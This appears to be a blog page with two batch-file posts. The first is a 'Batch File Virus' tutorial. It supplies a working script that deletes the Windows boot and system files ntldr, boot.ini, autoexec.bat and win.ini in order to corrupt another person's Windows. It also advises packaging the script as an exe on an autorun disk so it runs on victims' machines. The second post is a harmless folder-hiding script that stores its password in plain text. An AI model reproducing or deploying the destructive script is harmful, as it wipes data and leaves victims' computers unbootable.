Batch File Virus (a simple virus for windows)

I assume you know the basic about batch files before reading this post. Batch files are used to run a dos command without opening command prompt window. You can run many dos commands using a single batch file. For this you have to learn how to write a batch file. I am not going to tell you how to make a batch file. If you don’t know how to write, try to learn it from anywhere else. This post will show you some batch files which can corrupt your window. You can also say that these batch files can work like a virus. So be careful and not to try in your computer.

• Autoexec.bat
• Ntldr
• Boot.ini
• Win.ini

These files are very important and necessary for any windows operating system. So if you want to corrupt windows of a person you have to delete these four files from the computer.
@echo off 
attrib -r -s -h c:\autoexec.bat 
del c:\autoexec.bat 
attrib -r -s -h c:\boot.ini 
del c:\boot.ini 
attrib -r -s -h c:\ntldr 
del c:\ntldr 
attrib -r -s -h c:\windows\win.ini 
del c:\windows\win.ini 

save this code as winVirus.bat.

If you want to make it more harmful, make its exe using bat_to_exe converter and make an autorun disk of it. When someone use the disk autorun will execute itself and command will generated by batch file will corrupt the windows.

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Lock folders without softwares {Amazing Trick}

This is a very simple batch file trick. Paste the given code in batch file and save it as with any name.(remember Batch file extension is .bat). Double click on this batch file to create a folder locker. Now you will see a folder name Locker at the same directory of batch file. Put all files which you want to hide in the Locker folder. Double click on this batch file to lock the folder 'Locker'. If you want to unlock your files,double click the batch file again and you would be prompted for password. Enter the password and enjoy access to the folder.




if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Locker goto MDLOCKER
:CONFIRM
echo Are you sure u want to Lock the folder(Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter password to Unlock folder
set/p "pass=>"
if NOT %pass%==type your password here goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Locker
echo Locker created successfully
goto End
:End

Important Security Note – This is not a good method to secure sensitive data. If you want to keep the data away from the reach of your kid sister, then this can be a good method but it does not provide any security against people with good knowledge of programming. So if you actually want to be sure that no one can ever access the data that you lock, then please use some good software for the purpose. 

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